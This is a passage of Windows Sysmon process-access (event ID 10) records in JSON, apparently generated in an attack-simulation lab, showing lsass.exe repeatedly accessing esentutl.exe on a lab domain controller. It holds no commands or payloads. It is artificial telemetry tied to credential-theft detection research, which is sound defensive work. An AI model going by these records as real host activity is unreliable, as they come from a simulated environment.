M32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 